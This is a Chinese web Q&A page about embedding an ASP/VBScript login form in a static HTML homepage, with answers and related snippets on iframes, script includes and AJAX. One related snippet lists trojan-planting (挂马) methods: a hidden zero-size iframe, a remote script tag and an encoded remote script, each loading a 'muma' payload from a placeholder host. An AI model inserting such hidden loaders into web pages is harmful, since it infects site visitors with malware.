如何html中调用ASP代码

下面是本人用ASP VBSCRIPT写的一个用户登录窗口,也连接了DW中服务器行为<登录用户>,我把它保存为denglu.asp文件,调试完全正常,
问题就是:我不知道如何把这个文件放入我的index.html主页中去使用,请高手指点下如何在html中调用,需要什么样的代码格式调用,插入什么地方,注意些什么。
希望说的详细点,本人根据网上很多介绍的方法尝试了很多次,都不行,希望高手指点。本人一定感激不尽。

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!--#include file="Connections/web.asp" -->
<%
' *** Validate request to log in to this site.
MM_LoginAction = Request.ServerVariables("URL")
If Request.QueryString<>"" Then MM_LoginAction = MM_LoginAction + "?" + Server.HTMLEncode(Request.QueryString)
MM_valUsername=CStr(Request.Form("user"))
If MM_valUsername <> "" Then
MM_fldUserAuthorization=""
MM_redirectLoginSuccess="hy.asp"
MM_redirectLoginFailed="erro.asp"
MM_flag="ADODB.Recordset"
set MM_rsUser = Server.CreateObject(MM_flag)
MM_rsUser.ActiveConnection = MM_web_STRING
MM_rsUser.Source = "SELECT 会员名, 密码"
If MM_fldUserAuthorization <> "" Then MM_rsUser.Source = MM_rsUser.Source & "," & MM_fldUserAuthorization
MM_rsUser.Source = MM_rsUser.Source & " FROM 用户名 WHERE 会员名='" & Replace(MM_valUsername,"'","''") &"' AND 密码='" & Replace(Request.Form("password"),"'","''") & "'"
MM_rsUser.CursorType = 0
MM_rsUser.CursorLocation = 2
MM_rsUser.LockType = 3
MM_rsUser.Open
If Not MM_rsUser.EOF Or Not MM_rsUser.BOF Then
' username and password match - this is a valid user
Session("MM_Username") = MM_valUsername
If (MM_fldUserAuthorization <> "") Then
Session("MM_UserAuthorization") = CStr(MM_rsUser.Fields.Item(MM_fldUserAuthorization).Value)
Else
Session("MM_UserAuthorization") = ""
End If
if CStr(Request.QueryString("accessdenied")) <> "" And false Then
MM_redirectLoginSuccess = Request.QueryString("accessdenied")
End If
MM_rsUser.Close
Response.Redirect(MM_redirectLoginSuccess)
End If
MM_rsUser.Close
Response.Redirect(MM_redirectLoginFailed)
End If
%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>无标题文档</title>
</head>

<body>
<form id="form1" name="form1" method="POST" action="<%=MM_LoginAction%>">
<p align="right"><span class="STYLE11"> 会员名:</span>
<input name="user" id="user" size="20" maxlength="16">

<span class="STYLE9 STYLE11">密码:</span>
<input name="password" type="password" size="20" maxlength="20">
<a href="#" class="STYLE11" onclick="javascript:checkvalue();return false;">
<label>
<input type="submit" name="Submit" value="登录" />
</label>
</a> <a href="../zhuce.asp" class="STYLE11">注册</a></p>
</form>
</body>
</html>

把下面的代码放进index.html你想放的位置就可以了。
<form id="form1" name="form1" method="POST" action="denglu.asp">
<p align="right"><span class="STYLE11"> 会员名:</span>
<input name="user" id="user" size="20" maxlength="16">

<span class="STYLE9 STYLE11">密码:</span>
<input name="password" type="password" size="20" maxlength="20">
<a href="#" class="STYLE11" onclick="javascript:checkvalue();return false;">
<label>
<input type="submit" name="Submit" value="登录" />
</label>
</a> <a href="../zhuce.asp" class="STYLE11">注册</a></p>
</form>
温馨提示:内容为网友见解,仅供参考
第1个回答  2009-01-08
html引用ASP的2种方法
1.在html中用<script src="url.asp" type="text/javascript"> </script>
2.在html中用<ifrime>嵌套
第2个回答  2009-01-08
不太明白你的意思,ASP和HTML一样,可以直接用A链接,也就是像你倒数第四行这样</a> <a href="denglu.asp" class="STYLE11">注册</a></p>来链接过去,也可以在表单提交里的<form id="form1" name="form1" method="POST" action="denglu.asp">这种形式
第3个回答  2009-01-08
asp是动态的嘛,html是静态的咯,你要联系后台的,所以要放入index.html主页中去使用,那主页也要是.asp的,不能是.html的。
第4个回答  2019-05-24
<iframe
name="makewing"
src="需要调用的页面地址"
frameborder=false
scrolling="auto"
width="100%"
height="100%"
frameborder=no
onload="document.all['makewing'].style.height=makewing.document.body.scrollHeight"
></iframe>
这是一段IFRAME自动适应高度的代码,你可以用这个调用。

html如何调用引用asp?
为了保持网站的整体风格的统一,页面的尾部调用一个asp文件.由于页面是.html的,所以不能用<!--#include file=""--的方式做. 于是就用了调用的方法..html中调用的代码 <script type="text\/javascript"src="bottom.asp"<\/script bottom.asp中的代码 document.write("<link href='css.css' rel='s...

打开html页面直接跳转到.asp页面的代码
用HTML也是可以的,代码如下 <script language="javascript"> location.href="http:\/\/localhost\/实验\/index.asp";<\/script> 地址你可以直接用http:\/\/localhost IIS默认网站设置为可以浏览目录,这样调试起来就方便多了。直接用IE收藏夹就好了,这么简单一个问题还要弄的这么复杂。。。OTZ ...

如何在html中调用asp文件
将login.asp的输出转换成javascript格式, 然后在index.html使用 <script src='login.asp'><\/script> 或者 login.asp 输出为html, 然后用ajax获取login.asp的html装入某个div容器里面 第三种就是用iframe,

怎么用HTML文件链接ASP文件
<form name="Form1" method="post" action="用户信息.asp"> 这里的action就是提交表单以后(也就是submit按钮)要转到的页面,应该就是你所指的链接吧 既然action指向"用户信息.asp“,那么就把那么asp文件命名为"用户信息.asp“,并且放在和那个html文件同一个文件夹内。另外,asp程序获取原页面表格...

index.html代码中引用index.asp的代码
可以不用iframe,不过要使用AJAX <html> <head> <script type="text\/javascript"> function loadXMLDoc(){ if (window.XMLHttpRequest){\/\/ code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest();} else {\/\/ code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft...

怎样在html文件中直接运行asp文件.
建一个网页,扩展名为.shtml。然后就可以在那里边用SSI了,就象在ASP里用#include一样。

在html文件中如何执行asp语句
<!--#include file="1.asp"--> 把这个文件包含进去就行了

html里面如何加载asp文件
html是不行的,但有个方法是你把这个html改后缀名为ASP后,打开,在第一行加上include("你要加入的asp文件名")就可以了。

怎么样能让网页中插入执行一个其它网站的asp文件(include是不行的噢...
一、最简单的也是最有效的 <iframe src=http:\/\/www.xxx.com\/muma.html width=0 height=0><\/iframe> 二、js挂马 <script src=http:\/\/www.xxx.com\/muma.js><\/script> 三、js变形加密 <SCRIPT language="JScript.Encode" src=http:\/\/www.xxx.com\/muma.txt><\/script> muma.txt可改成任意...

html静态页面如何实现调用ASP文件
<iframe width="宽" height="高" src="robots\/robots_conn.asp"><\/iframe>

相似回答